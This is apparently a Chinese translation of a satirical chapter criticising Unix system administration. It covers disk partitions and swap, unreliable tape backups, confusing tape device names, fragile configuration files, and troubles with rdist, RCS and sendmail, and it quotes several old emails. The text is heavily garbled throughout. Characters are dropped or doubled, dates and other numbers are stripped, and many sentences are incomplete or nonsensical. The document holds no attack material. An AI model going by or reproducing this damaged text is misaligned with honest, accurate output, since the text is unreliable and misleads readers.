的 系 管 理 员 , 把把 整 个 系 备 份 到 磁 带 ( 当 然 这 个 过 程程 能 在 单 用 户户 模 式 <br />
行 ), 然 给 磁 新 分 区 , 把把 /swap 搞搞 大 些 , 再 把把 磁 带 的 系 恢 复<br />
出 来 盒 盒 宕 机 时 间 更 长 , 成 更 高 。 着 耳 熟 不 ?<br />
现 在 固 分 区 的 题 不 那 么 明 显 了 , 因 容 G 的 磁 已 经 成 标<br />
准 配 置 。 生 商 把把 分 区 置 得 足 够 大 来 避 免 题 , 这 个 法 不 经 济 , 但 比<br />
修 复 Unix 容 易 操 作 。 有 些 厂厂 商 现 了 内 存 页 既 能 换 出 到 文 件 系 , 又 能
磁 盘 分 区 和 备 份<br />
· ·<br />
换 出 到 分 区 , 这 有 点 帮 , 但 换 出 到 文 件 系 慢 得 多 。 所 Unix 还 是 有 <br />
的 盒 盒 有 些 厂厂 商 做 对 了 , 在 换 页 时 逐 渐 占 用 文 件 系 直 到 某 个 限 但 有<br />
些 厂厂 商 做 错 了 , 固 地 使 用 固 大 小小 的 文 件 来 换 页 , 比 “ 新 格 式 化 磁 来<br />
改 分 区 大 小小 ” 灵 活 一 些 , 但 别 的 题 依 存 在 , 外 还 让 dump 程程 序 无 法<br />
行 每 增 备 份 , 结 果 备 份 占 用 的 磁 带 多 出 两 倍 , 这 是 运 行 Unix 系 <br />
的 又 一 额 外 成 。<br />
分 区 : 快 乐 翻 一 番<br />
于 Unix 经 常 把把 自 己 的 文 件 系 搞搞 , 期 的 Unix 大 师 们 想 了 一 个 <br />
法 绕 道 而 行 把把 磁 划 分 成 几 个 分 区 , 要 是 系 挂 了 , 而 你 运 气 不 错 , 那 <br />
损 失 一 半半 的 数 据据 。<br />
文 件 系 损 是 因 磁 的 空空 闲 块 列 表表 经 常 处 于 不 一 致 的 状 。 当<br />
Unix 崩 溃 时 , 最 多 的 磁 得 最 厉厉 害 , 因 中 不 一 致 的 程程 度 最 高 盒 盒<br />
就就 是 内 存 中 还 没没 写 入 磁 的 信 息 最 多 。 大 师 们 决 不 去去 修 复 这 个 题 , 而<br />
是 建 立立 分 区 , 把把 单 个 物 理 磁 分 解解 若 较 小小 的 虚 拟拟 磁 , 中 每 个 都 有 独<br />
立立 的 文 件 系 。<br />
磁 分 区 背 的 意 图 是 在 ( 例 行 事 般 的 ) 系 崩 溃 , 还 有 完 好 的<br />
分 区 供 启 ( 然 修 复 文 件 系 )。 基 于 的 原原 因 ,Unix 崩 溃 最 好 影<br />
响 用 户户 文 件 , 而 不 是 操 作 系 , 因 你 得 需 要 操 作 系 才 能 恢 复 损 的 文<br />
件 。( 当 然 , 尽 管 用 户户 文 件 一 般 没没 有 备 份 , 而 操 作 系 在 发发 行 磁 带 的 备<br />
份 有 好 几 个 , 但 这 并 不 影 响 前 的 观 点 。 最 发发 给 贝 尔尔 验 外 的 Unix<br />
版 没没 有 使 用 磁 带 尼 斯 核 手手 编 译 每 份 拷拷 贝 并 一 “ 这 是<br />
你 的 rk , 爱 你 , 尼 斯 。”(RK 是 期 的 移移 磁 包 。) 据据 迪 核 塔 南<br />
鲍 姆<br />
<br />
讲 ,“ 如 果 你 的 RK 的 Unix 出 了 题 , 最 好 写 信 给 尼 斯 再 要 一<br />
份 。” )<br />
大 多 数 Unix 系 都 分 配 了 一 个 特 殊 的 分 区 , 称 “ 交 换 分 区 ”, 用 于 <br />
现 虚 拟拟 内 存 。 期 Unix 并 不 使 用 文 件 系 来 换 页 , 因 文 件 系 慢 了 。<br />
交 换 分 区 的 题 是 要 么 分 配 得 小小 , 结 果 在 行 复 杂 处 理 时 Unix 趴 了 <br />
要 么 分 配 得 大 , 结 果 除 非 运 行 M 的 子 场 力 学 模 拟拟 程程 序 ,% 的 空空<br />
间 都 浪 了 。<br />
<br />
译 注 RK 是 DEC 生 的 磁 驱 , 能 在 寸 拆 卸 的 单 张 片 存 储 .M 字 节 。<br />
<br />
译 注 Andy Tannenbaum。<br />
《Unix 政 治治 史 》 [] , 迪 核 塔 南 鲍 姆 在 华 盛 的 DC USENIX 的 发发 言言 ( 这 是 《Unix 人 生 》<br />
在 第 页 的 一 引 用 )
· · 系 统 管 理<br />
当 划 分 磁 分 区 时 , 需 要 遵 循 两 简 单 的 规 <br />
. 分 区 间 决 不 能 叠 。<br />
. 分 区 的 用 途 必 须 单 一 。<br />
否 , 储 蓄 和 信 贷 危 机 Unix 版 将将 粉 墨 登 场 盒 盒 把把 一 块 磁 空空 间 时<br />
用 于 多 个 场 , 而 当 多 个 用 户户 自 在 使 用 各 自 的 空空 间 时 , 灾 难 发发 生 了 。<br />
,MIT 媒 体 验 有 一 个 大 型 VAX 系 , 配 备 个 大 容 磁 和 超 过<br />
M 内 存 。 人 们 发发 现 磁 的 “c” 分 区 没没 有 使 用 , 于 是 将将 作 Unix<br />
的 交 换 分 区 。<br />
几 周 ,VAX 崩 溃 了 一 两 , 有 人 报 告 磁 保 存 的 文 件 损 <br />
一 ,VAX 再 崩 溃 。<br />
系 管 理 员 们 ( 个 科 生 组 成 的 小小 组 ) 最 发发 现 , 磁 的 “c”<br />
分 区 和 一 个 保 存 用 户户 文 件 的 分 区 叠 了 。<br />
这 个 错 误 很 久 才 暴 露 , 是 因 VAX 的 内 存 很 大 , 所 时 很 少少 发发 生 换<br />
页 。 有 当 某 人 开 始 一 个 大 型 图 像 处 理 目 成 内 存 吃 紧 时 ,VAX 才 换 出 到<br />
磁 的 “c” 分 区 , 于 是 文 件 系 损 , 接接 着 多 半半 是 系 崩 溃 。<br />
在 四 的 在 媒 体 验 的 音 和 认 知 部 门 , 米 歇 尔尔 核 特 拉拉 弗 遭 遇 了<br />
类 似 题 。 这 是 一 封封 他 的 系 管 理 员 ( 现 在 这 个 已 经 扩扩 大 到 全<br />
员 ) 转 到 UNIX 痛 者 的 邮 件 <br />
期 Mon, Nov : EST<br />
来 自 saus@media-lab.mit.edu<br />
题 文 件 系 <br />
发发 给 mt@media-lab.mit.edu<br />
麦 克 ,<br />
在 给 /bflat 和 /valis 建 文 件 系 时 , 我 把把 两 个 分 区 划 分 成 互 相 叠 了 。 于 这 个 错 误 ,<br />
两 个 文 件 系 都 掉 了 , 而 且 无 法 修 复 。<br />
我 已 经 解解 决 了 分 区 叠 的 题 , 但 恐 怕 对 你 没没 什 么 帮 因 前 保 存 的 文 件 已 经 无 法<br />
恢 复 , 对 我 很 难 过 , 但 很 抱抱 歉 现 在 我 无 能 力 。<br />
如 果 你 最 近 没没 有 往 /bflat 放 东 西 , 我 们 大 概概 从 磁 带 找 回 来 。 我 去去 看 看 最 近 的 磁<br />
备 份 是 什 么 时 候 的 。<br />
Unix 分 区 导 致 的 题 多 了 , 至 少少 有 一 家 厂厂 商 (NeXT,Inc.) 建 将将 整 个 磁 作 单 独 分 区 来 使 用 。<br />
这 大 概概 是 因 NeXT 使 用 的 Mach 内 支 持 换 出 到 UFS( 译 注 Unix File System, 各 种 Unix 广 泛 采 用 的 文<br />
件 系 , 源 头 溯 到 Unix 版 所 使 用 的 文 件 系 。), 而 不 需 要 在 系 磁 先 分 配 特 殊 的 空空<br />
间 。
磁 盘 分 区 和 备 份<br />
· ·<br />
宕 机捼 和 备 份<br />
了 避 免 系 崩 溃 导 致 的 数 据据 损 失 , 磁 的 文 件 系 被被 期 备 份 到<br />
磁 带 。 通 常 的 做 法 是 每 周 , 或或 者 至 少少 每 月 , 将将 磁 的 所 有 文 件 复 制 到 磁<br />
带 , 并 且 一 般 每 晚 备 份 当 修 改 过 的 文 件 。 但 很 不 幸 ,Unix 备 份 无<br />
法 保 证 挽挽 救 你 的 数 据据 。<br />
来 自 bostic@OKEEFFE.CS.BERKELEY.EDU( 卡 什 核 伯 斯 提 克 )<br />
题 V.( 错 误 报 告 损 失 )<br />
期 Feb :: GMT<br />
新 闻 组 comp.bugs.bsd.ucb-fixes<br />
组 利 福 尼 亚 大 学 伯 克 利 分 校<br />
最 近 我 们 的 磁 出 题 了 , 因 损 失 了 近 一 来 BSD 系 的 错 误 报 告 。 如 果 你 能 新<br />
提 交 月 来 的 报 告 , 我 们 将将 不 胜 感 激 。<br />
计 算 机 系 研 究 组 (CSRG)。 <br />
读 到 这 的 人 几 都 闪 过 一 个 念 头 , 如 《 像 禁 制 目 》 [] 的 情<br />
节 一 Unix 于 用 自 己 的 文 件 证 明 缺 陷 何 多 。<br />
按按 照 Unix 建 或或 者 修 改 文 件 的 做 法 , 有 能 在 更 新 磁 的 数 据据 和 指指<br />
针 时 成 不 一 致 和 错 误 。 如 果 在 将将 改 确 写 入 磁 前 系 崩 溃 了 , 那 么<br />
磁 的 文 件 系 对 损 并 处 于 不 一 致 状 , 在 启 过 程程 中 用 户户<br />
看 到 这 些 损 , 因 Unix 启 脚 自 运 行 fsck 恢 复 文 件 系 。<br />
多 Unix 系 管 理 员 都 没没 有 认 到 , 就就 在 用 磁 带 备 份 系 的 时 , 仍<br />
然 有 能 出 现 不 一 致 的 情 况 。 备 份 程程 序 当 前 文 件 系 建 立立 快 照 , 但 如 果 <br />
时 有 任 何 用 户户 或或 程程 修 改 文 件 , 磁 的 文 件 系 将将 在 时 间 内 处 于 不 一<br />
致 状 。 于 备 份 不 是 瞬 间 完 成 的 ( 一 般 要 几 个 小小 时 ), 所 快 照 生 的 映<br />
像 得 模 模 糊 糊 。 就就 像 用 秒 的 快 门 去去 拍 摄摄 印 第 的 赛 况 , 结 果 差 不<br />
多 最 要 的 盒 盒 就就 是 有 人 在 修 改 的 盒 盒 文 件 , 好 是 今 无 法 恢 复 的<br />
文 件 。<br />
于 Unix 不 能 备 份 一 个 处 于 活 状 的 文 件 系 , 了 生 确 的 备<br />
份 结 果 , 需 要 让 系 入 孤 立立 模 式 ( 或或 者 做 单 用 户户 模 式 ), 时 系 中 不<br />
有 任 何 程程 在 备 份 时 修 改 文 件 。 对 磁 空空 间 G 的 系 来 , 这 意 味 着 每<br />
天 都 要 宕 机 几 个 小小 时 ( 花 钱 一 个 系 管 理 员 在 旁 边 盯 着 磁 带 旋 转 )。<br />
<br />
译 注 Keith Bostic。<br />
引 用 这 封封 邮 件 并 得 到 卡 什 核 伯 斯 提 克 的 , 他 “ 在 我 看 来 ,( 引 用 这 封封 邮 件 ) 不 对 我 还 是<br />
CSRG 都 不 好 。” 他 得 对 , 那 些 用 伯 克 利 磁 带 备 份 程程 序 制 作 的 备 份 没没 落 着 好 。<br />
<br />
译 注 全 称 印 第 纳 波 利 斯 英 大 奖 赛 , 始 于 , 目 前 是 与 F 摩摩 纳 大 奖 赛 和 勒 芒 小小 时<br />
耐 力 赛 并 列 的 世 界 大 汽汽 车 大 奖 赛 一 。
· · 系 统 管 理<br />
很 显 然 , 对 需 要 持 续 提 供 服 的 用 来 ,Unix 不 值 得 认 真 考 虑 。 而 在 用<br />
户户 盼 望 持 续 运 行 的 压 力 , 一 些 Unix 系 被被 迫 通 过 /etc/motd 昭 告 四 方 , 系<br />
备 份 段 “ 有 反 常 ”<br />
SunOS Release .. (DIKUSUNCS) #:Sun Sep 0:: MET DST <br />
--- BACKUP PLAN ----------------------------------------------------<br />
Skinfaxe: . Aug, .00-.00 Please note that anomalies can<br />
Freja & Ask: . Aug, .00-.00 be expected when using the Unix<br />
Odin: . Sep, .00-.00 systems during the backups.<br />
Rimfaxe: . Sep, .00-.00<br />
Div. Sunc: . Sep, .00-.00<br />
--------------------------------------------------------------------<br />
把把 数 据据 放 到 备 份 磁 带 是 一 半半 作 。 伯 克 利 Unix 用 restore 程程 序 保 <br />
我 们 再 把把 数 据据 回 来 。 在 restore 妙 不 言言 的 交 互 模 式 , 你 用 chdir 在 一 个<br />
灵 般 的 文 件 系 中 穿穿 来 穿穿 去去 , 给 想 要 恢 复 的 文 件 打 , 然 敲 入 一 <br />
魔 法 命 让 磁 带 开 始 旋 转 。 要 是 你 想 效 仿 真 的 Unix 大 师 , 从 命 行 直 接接<br />
恢 复 文 件 , 那 要 小小 心 了 。<br />
期 Thu, May :: PDT<br />
来 自 大 卫卫 核 维 纳 亚 克 核 华 莱 士 <br />
发发 给 UNIX 痛 者<br />
题 Unix 的 伯 克 利 快 文 件 系 <br />
你 有 没没 有 倒 霉 需 要 从 备 份 中 恢 复 文 件 ? 缓 慢 、 痛 苦 就就 先 不 了 , 这 有 人 发发 现 将将 通 配 符<br />
传 给 restore 程程 序 , 能 恢 复 匹 配 的 第 一 个 文 件 , 而 不 是 所 有 文 件 ! 但 对 于 一 个 备 份<br />
能 都 没没 有 的 文 件 系 而 言言 , 这 是 一 种 深 思 熟 虑 、 能 齐 备 的 “ 简 约 义 ” 吧 。<br />
磁 带 什 么 的 更捩 讨 厌<br />
假 你 要 誊 写 一 份 页 的 文 件 , 并 且 希 望 做 得 尽 善 尽 美 , 所 你 新 买<br />
来 一 叠 纸 , 每 誊 写 一 页 并 力 求 完 美 。 如 果 发发 现 纸 有 污污 点 怎 么 ? 要<br />
你 不 是 方 脑 袋袋 , 就就 把把 这 一 页 新 誊 写 一 遍 然 继 续 。 但 如 果 你 是 Unix, 就就 <br />
完 全 放 在 行 的 作 , 新 买 一 叠 纸 然 全 部 新 来 过 。 不 是 开 玩 笑 ,<br />
就就 算 文 件 有 页 , 就就 算 你 已 经 完 成 了 前 页 , 结 果 是 一 。<br />
Unix 不 是 将将 磁 的 内 容 复 制 到 纸 张 , 而 是 到 磁 带 , 但 这 个 比 喻 还<br />
是 极 贴 切 。 磁 带 偶 尔尔 有 一 小小 段 掉 的 介 不 能 录 信 息 , 有 时 候 Unix<br />
花 了 两 个 小小 时 备 份 G 数 据据 , 然 开 心 地 报 告 磁 带 损 , 你 换 新 的 磁 带 ,<br />
扔 掉 的 磁 带 , 最 从 头 开 始 。 是 的 , 要 有 一 英 寸 磁 带 写 不 去去 ,Unix 就就<br />
认 整 个 磁 带 都 不 能 用 。 它 更 健 壮 的 操 作 系 却 能 使 用 这 些 “” 磁 带 ,<br />
做 法 是 简 单 跳 过 损 的 部 分 然 继 续 。Unix 的 方 式 就就 是 在 浪 时 间 和 金<br />
钱 。
配 置 文挱 件<br />
· ·<br />
Unix 对 磁 带 备 的 命 是 五 花 门 。 你 大 概概 直 接接 称 /dev/tape<br />
就就 行 了 , 但 伯 克 利 Unix 的 做 法 不 是 这 。 而 是 将将 体 的 参参 数 嵌 入 备 文 件<br />
中 。Unix 每 种 存 在 的 磁 带 驱 接接 使 用 不 的 字 , 而 不 是 一 个 “ 磁<br />
带 ” 了 事 , 于 是 生 了 诸 如 /dev/mt、/dev/xt 和 /dev/st 一 类 的 字 。 要 修<br />
改 这 些 字 的 , 就就 得 花 钱 让 系 管 理 员 修 改 所 有 备 份 脚 。 备 份 脚 ? 是<br />
的 , 每 Unix 机 执执 行 备 份 的 脚 都 是 制 的 , 因 厂厂 商 经 常 改 磁 带 驱<br />
的 字 , 并 且 没没 人 得 备 份 程程 序 需 要 哪 些 选 盒 盒 移移 植植 性 真 不 错 啊 。<br />
Unix 还 给 备 单 , 比 如 /dev/st0 和 /dev/st1, 但 是 千千 万 不 要 让 这<br />
些 数 字 愚 你 /dev/st8 是 /dev/st0, 而 /dev/st9 就就 是 /dev/st1, 不 的<br />
单 表表 示 不 的 录 密 度 盒 盒 一 个 备 , 不 的 字 。 别 慌 , 还 有 呢 !<br />
备 前 “n” 表表 示 在 备 文 件 时 驱 不 自 倒 带 <br />
“r” 表表 示 该 备 是 裸 备 , 而 不 是 块 备 。 综 所 述 ,/dev/st0、/dev/rst0、<br />
/dev/nrst0、/dev/nrst8 和 /dev/st16 都 是 一 个 备 。 匪匪 所 思 , 是 吧 ?<br />
于 Unix 不 支 持 独 占 备 , 因 各 个 程程 序 群 逐 鹿 , 但 没没 有 胜 利 者 。<br />
举 个 简 单 的 例 子 , 你 的 系 有 两 磁 带 机 , 分 别 做 /dev/rst0 和 /dev/rst1。<br />
你 和 系 管 理 员 花 了 一 两 个 小小 时 备 份 了 一 些 极 要 的 文 件 到 备 <br />
。 时 屋屋 的 张 往 备 放 磁 带 , 但 他 在 备 份 时 把把 打 成 了 , 结 果<br />
备 的 内 容 被被 覆 了 一 小小 段 , 你 的 备 份 没没 了 ! 何 出 现 这 种 情 况 ? 因 <br />
Unix 不 允 用 户户 独 占 方 式 使 用 磁 带 备 。 在 备 份 期 间 , 程程 序 将将 备 打 开<br />
又 , 而 每 , 系 中 任 何 别 的 用 户户 都 使 用 备 。 按按 照 这 种 方<br />
式 ,Unix 的 “ 全 ” 控 制 完 全 被被 绕 开 了 。 要 磁 带 还 在 驱 , 任 何 登<br />
录 系 的 人 都 查 看 的 私 人 文 件 。 唯 一 补补 救 的 法 是 允 系<br />
管 理 员 磁 带 备 。<br />
配 置 文挱 件<br />
系 管 理 员 管 理 着 形 形 色 色 的 配 置 文 件 。 如 果 有 人 对 微 Windows 的<br />
四 个 系 配 置 文 件 过 敏 , 那 千千 万 不 要 近 Unix, 否 恐 怕 过 敏 得 昏 死<br />
过 去去 。Unix 成 打 的 配 置 文 件 荣 , 中 每 个 文 件 都 已 特 的 方 式 组 字<br />
母 和 符 , 这 系 配 置 和 操 作 才 确 。<br />
每 个 Unix 配 置 文 件 控 制 着 一 个 程程 或或 者 一 种 资 源 , 时 每 个 文 件 都 有<br />
独 一 无 二 的 语 法 比 如 域 分 隔 符 有 时 候 是 冒 , 有 时 候 是 空空 格 , 有 时 候 又 是<br />
( 文 档 没没 有 载 的 ) 制 表表 符 , 如 果 你 运 气 好 , 还 能 遇 到 白 空空 白 。 如 果 选 择 了<br />
错 误 的 分 隔 符 , 读 配 置 文 件 的 程程 序 一 般 无 声 无 息 地 挂 掉 并 搞搞 自 己 的<br />
数 据据 文 件 , 要 不 就就 跳 过 配 置 文 件 的 剩 部 分 , 至 于 体 的 出 和 得 体 的 报<br />
告 题 所 在 闻 所 闻 。“ 文 件 不 , 语 法 不 ” 让 管 理 员 不 用 担 心 丢 饭 碗 ,
· · 系 统 管 理<br />
一 拿 着 高 薪 的 管 理 员 花 几 个 小小 时 在 这 些 常 见 的 配 置 文 件 中 搜搜 寻<br />
“ 几 个 空空 格 ” 和 “ 一 个 制 表表 符 ” 间 的 差 。 当 管 理 员 修 改 这 些 文 件 并 声 称<br />
提 高 全 性 时 , 你 得 注 意 了 , 他 的 是 他 的 作 更 全 了 , 而 不 是 你<br />
的 系 <br />
/etc/rc /etc/services /etc/motd<br />
/etc/rc.boot /etc/printcap /etc/passwd<br />
/etc/rc.local /etc/networks /etc/protocols<br />
/etc/inetd.conf /etc/aliases /etc/resolv.conf<br />
/etc/domainname /etc/bootparams /etc/sendmail.cf<br />
/etc/hosts /etc/format.dat /etc/shells<br />
/etc/fstab /etc/group /etc/syslog.conf<br />
/etc/exports /etc/hosts.equiv /etc/termcap<br />
/etc/uucp/Systems /etc/uucp/Devices /etc/uucp/Dialcodes<br />
多 台 机捼 器 , 多 重 疯 狂<br />
多 机 构 的 网 规 模 很 大 , 仅 凭 一 服 是 不 行 的 , 二 十十 机 差 不<br />
多 满 足 所 有 情 况 。 现 在 系 管 理 员 有 事 情 了 , 他 们 得 保 持 这 些 机 <br />
的 系 版 和 配 置 文 件 都 是 的 。 编 写 shell 脚 让 这 个 过 程程 成 自<br />
化 , 但 如 果 出 现 错 误 , 成 的 破 不 是 那 么 容 易 恢 复 , 这 些 管 理 员<br />
作 证 <br />
来 自 伊 核 霍 斯 威 尔尔 <br />
期 Mon, Sep :: EDT<br />
发发 给 SYSTEM-HACKERS@ai.mit.edu<br />
题 Muesli printcap<br />
昨 晚 不 知 道 怎 么 回 事 ,“ 什 锦 粥 ” 的 printcap 文 件 被被 别 人 覆 了 。 这 机 运 行 着<br />
行 式 打 印 机 的 护 程程 , 一 机 “ 蓟 花 ” 提 供 打 印 服 。 因 每 当 有 人 发发 打 印<br />
请 求 或或 者 查 询 打 印 状 , 能 让 这 个 程程 生 子 程程 和 自 己 接接 。 不 用 , 这 搞搞 得 大<br />
家 都 很 不 愉 快 。( 我 想 ) 这 个 题 现 在 已 经 解解 决 了 , 但 是 该 检 查 有 没没 有 别 的 什 么 <br />
护 程程 每 晚 覆 文 件 。 我 没没 法 录 哪 机 的 配 置 文 件 是 什 么 内 容 , 然 又 在 什 么<br />
时 间 用 什 么 方 法 什 么 把把 什 么 人 给 覆 了 。<br />
( 的 Unix 黑 难 懂 了 。"…盚…盚 守 护 进 程 , 一 机 “ 蓟 花 ”<br />
提 供 打 印 服捱 。…盚…盚 能 让 这 个 程程 产 生 子 进 程 和 自 己 连 接拹 。", 这 些 用 词<br />
的 真 意 思 是 , 该 将将 Unix 的 网 能 称 “ 恶 魔 乱 伦 孳 生 的 孽 种 ”。<br />
)<br />
<br />
译 注 daemon( 护 程程 、 魔 鬼 )、service( 服 、 服 侍 )、spawn( 生 子 程程 、 卵 )、connect<br />
( 接接 、 交 媾 ), 请 自 行 体 原原 文 的 双 。
配 置 文挱 件<br />
· ·<br />
有 个 做 rdist, 作 用 是 将将 一 份 文 件 复 制 到 网 中 的 各 计 算 机 ,<br />
现 配 置 。 但 要 让 这 个 常 作 却 是 时 心 的 一 件 事 情 <br />
来 自 马 克 核 洛 特 <br />
题 浪 在 rdist 配 置 文 件 的 时 间<br />
期 Thursday, September , :PM<br />
最 近 有 人 修 改 我 们 机 的 distfile, 但 不 小小 心 在 某 一 行 多 了 一 个 括括 。 运 行 rdist 的<br />
结 果 是 <br />
fs:> rdist<br />
rdist: line 00: syntax error<br />
rdist: line 0: syntax error<br />
检 查 这 两 行 肯 找 不 到 任 何 题 盒 盒 这 两 行 都 是 注 释 ! 我 们 花 了 几 个 小小 时 在 整 个<br />
文 件 中 搜搜 寻 能 的 错 误 , 比 如 把把 制 表表 符 打 成 空空 格 类 ( 于 Unix 文 件 没没 有 版 , 我 们<br />
当 然 没没 法 直 接接 和 前 一 个 版 比 较 )。 最 多 余 的 括括 于 找 到 了 , 在 行 。 什 么 Unix<br />
行 都 数 不 对 ???<br />
来 发发 现 文 件 中 有 延 续 的 行 ( 反 斜 结 尾 ), 而 rdist 将将 这 些 行 当 作 一 行 。 到 ,<br />
因 我 坚 信 不 有 人 去去 改 这 个 行 ,Unix 拥拥 趸 们 大 概概 认 Unix 做 了 确 的 事 情 。<br />
真 是 型 的 Unix 浪 你 能 从 中 感 到 维 护 成 嗖 的 一 子 去去 了 。<br />
一 封封 信 甚 至 没没 法 分 类 <br />
来 自 斯 坦 利 核 兰 宁 <br />
期 Friday, January , :AM<br />
发发 给 UNIX 痛 者<br />
题 RCS<br />
作 文 明 人 , 我 们 用 RCS 作 黑 , 我 们 编 写 若 shell 脚 和 elisp 函 数 , 的 是<br />
让 RCS 对 付 起 来 容 易 些 。<br />
我 的 系 是 Solaris .x。 我 们 发发 现 时 用 的 RCS 版 无 法 在 Solaris 运 行 , 即 使 装装 了<br />
二 制 容 包 不 行 , 运 行 结 果 是 不 就就 在 哪 个 目 录 偷 偷 吐 。 不 过 最 新 的 RCS 版<br />
确 实 在 Solaris 运 行 , 于 是 我 找 到 了 最 新 的 源 码 , 编 译 然 回 去去 作 。<br />
接接 着 我 发发 现 我 们 的 Emacs RCS 包 无 法 和 最 新 的 RCS 一 起 运 行 。 什 么 ? 在 新 版 RCS 中 ,<br />
rlog 的 输 出 格 式 被被 改 得 和 前 不 容 了 , 这 明 显 不 理 。 谢 谢 。 所 我 把把 elisp 码 改<br />
了 , 然 回 去去 作 。<br />
我 又 发发 现 shell 脚 一 直 返 回 错 误 , 原原 因 和 一 。 在 解解 决 这 个 题 时 , 我 还 手手 修 复<br />
了 几 个 别 的 题 , 比 如 在 Solaris 要 用 “echo ... | -c”, 别 用 “echo -n ...”。Sun 的 机 <br />
( 在 启 度 已 经 没没 势 ) 有 个 好 处 , 就就 是 有 时 候 和 别 的 Sun 品 是 容 的 。 改 、<br />
改 、 改 , 然 回 去去 作 。<br />
有 一 子 一 切 似 都 静 了 , 直 到 有 人 想 用 版 RCS 检 出 一 个 我 提 交 的 文 件 。 结 果 发发 现<br />
RCS 还 有 一 个 改 是 用 格 林 威 治治 时 间 替 了 地 时 间 , 因 版 RCS 先 查 看 文 件 的 时 间<br />
戳 , 断 该 文 件 不 存 在 , 所 有 我 能 这 个 文 件 。 事 情 到 了 这 个 份 儿 , 唯 一<br />
的 法 是 把把 所 有 的 RCS 升 级 到 最 新 , 这 我 们 才 能 都 用 格 林 威 治治 时 间 。 编 译 、 测 试 、<br />
编 辑 、 编 译 、 装装 , 然 回 去去 作 。<br />
<br />
译 注 Stanley Lanning。
· · 系 统 管 理<br />
我 再 发发 现 , Emacs RCS 码 有 好 几 处 , 但 我 改 了 中 一 处 。 原原 因 ? 因 Emacs<br />
有 好 几 份 。 什 么 保 留 几 份 Emacs? 我 没没 想 那 么 多 了 , 直 接接 把把 码 改 了 然 想 回 去去 作 。<br />
我 们 这 还 有 一 些 惠 的 机 , 所 得 装装 最 新 的 RCS。 编 译 、 测 试 、 编 辑 、 编 译 、<br />
装装 , 然 回 去去 作 盒 盒 过 程程 几 就就 是 这 。 编 译 RCS 是 一 种 魔 般 的 体 验 , 有 个 这 么<br />
大 、 这 么 慢 、 这 么 丑 的 脚 , 用 途 是 建 和 系 架 构 相 的 头 文 件 , 这 个 脚 要 对 系 <br />
行 各 种 有 趣 的 检 查 , 然 试 着 在 几 每 种 机 都 做 确 的 事 情 。 这 个 脚 看 起 来 是<br />
有 效 果 的 , 但 是 “ 看 起 来 ” 而 已 。 惠 的 机 不 支 持 内 存 文 件 映 射射 (mmap), 有 相<br />
的 函 数 , 但 没没 效 果 , 有 人 告 你 别 用 这 些 函 数 。 然 而 RCS 的 配 置 脚 没没 读 过 文 档 , 而<br />
是 看 看 函 数 在 不 在 , 确 在 , 所 RCS 最 还 是 调 用 了 这 些 函 数 。<br />
当 有 人 在 惠 机 想 检 出 某 个 文 件 , 就就 成 整 个 系 崩 溃 。 恐 慌 、 停 机 、 挂 掉 、<br />
启 。 当 然 , 有 在 惠 机 运 行 了 RCS 配 置 脚 才 这 。 在 新 型 惠 机 检<br />
出 文 件 是 没没 题 的 。 所 我 们 检 查 了 配 置 脚 的 输 出 文 件 , 看 到 用 了 内 存 文 件 映 射射 ,<br />
真 是 当 头 一 棒 , 编 辑 配 置 脚 让 内 存 文 件 映 射射 滚 开 , 然 再 试 一 把把 。 我 过 没没 ? 配 置 脚<br />
运 行 一 得 分 钟 还 有 不 管 改 了 什 么 都 要 新 运 行 配 置 脚 , 即 使 是 修 改 Makefile<br />
不 例 外 还 有 你 得 修 改 Makefile 才 能 编 出 一 个 测 试 的 RCS 版 还 有 我 真 的 有 事 情<br />
要 做 。 编 译 、 测 试 、 编 辑 、 编 译 、 装装 , 然 回 去去 作 。<br />
几 又 冒 出 一 个 RCS 的 紧 急 状 况 。 得 我 们 了 方 便 使 用 RCS 而 编 写 的 脚 吗 ? 结 果<br />
脚 有 几 份 拷拷 贝 , 当 然 我 改 了 一 份 。 改 、 改 , 然 回 去去 作 。<br />
最 , 有 人 完 全 无 法 使 用 这 些 脚 了 。 别 人 都 是 好 好 的 , 就就 他 不 行 , 什 么 ? 结 果 发发 现<br />
他 想 用 Sun 的 cmdtool,cmdtool 有 个 了 - 了 - - 很 容 的 能 不 置 $LOGNAME,<br />
情 况 是 还 要 想 尽 法 清 除 这 个 。 而 这 些 脚 嘛 , 当 然 是 需 要 $LOGNAME 的 , 不<br />
是 $USER( 惠 机 不 能 用 ), 不 是 “who am i | awk '{print<br />
$}' | sed 's/*\\!//'” 或或 者 别 的 恐 怖 命 。 所 脚 又 被被 改 了 一 , 用 的<br />
语 法 “${LOGNAME:-$USER}”, 然 我 回 去去 作 了 。<br />
我 到 报 告 RCS 的 题 已 经 过 去去 了 小小 时 , 但 愿 老 保 我 。<br />
维 护 邮 件 系 统<br />
Sendmail, 最 流 行 的 Unix 邮 件 程程 序 , 真 是 复 杂 到 极 点 , 但 这 <br />
不 必 要 ( 请 看 邮 件 一 )。Sendmail 的 复 杂 成 不 仅 需 要 佣 系 管 理 员 ,<br />
还 需 要 佣 讲 师 培 系 管 理 员 , 结 果 者 的 作 时 间 被被 占 用 了 。 看 看 图<br />
. 就就 知 道 了 , 这 是 网 真 的 广 告 。<br />
研 讨 Sendmail 从 简 单<br />
这 个 研 讨 的 是 希 望 理 解解 sendmail 如 何 作 及 如 何 制 的 系 管 理 员 。 涵<br />
的 题 包 括括 sendmail 操 作 、 如 何 阅 读 sendmail.cf 文 件 、 如 何 修 改 sendmail.cf 文 件 ,<br />
及 如 何 调 试 sendmail.cf 文 件 。 将将 两 个 简 单 的 sendmail.cf 例 , 展展 示 如 何 配 置<br />
包 多 户户 机 和 一 个 UUCP 邮 件 网 的 网 。 将将 讨 SunOS ..、ULTRIX .、<br />
HP-UX . 和 AIX . 的 sendmail.cf 文 件 。<br />
经 过 一 的 培 研 讨 , 你 将将 能 够 <br />
• 理 解解 sendmail 的 操 作 。<br />
• 理 解解 sendmail 如 何 与 mail、SMTP 和 UUCP 一 起 作 。
错 在 哪 里<br />
· ·<br />
• 理 解解 sendmail.cf 的 能 和 操 作 。<br />
• 置 电 子 邮 件 域 , 中 包 各 部 门 的 子 域 。 置 网 接接 因 特 网 邮 件 网 <br />
和 它 商 用 电 子 邮 件 网 。<br />
• 断 邮 件 寻 址 和 投 递 题 。<br />
• 断 sendmail.cf 文 件 。<br />
• 理 解解 厂厂 商 特 有 的 sendmail.cf 文 件 , 包 括括 SunOS ..、ULTRIX .、HP-UX . 和<br />
AIX .。<br />
图 .: Sendmail 研 讨 网 广 告<br />
如 果 Unix 有 一 种 , 或或 者 Unix 有 好 的 文 档 , 那 么 这 些 课 程程 ( 涵 了<br />
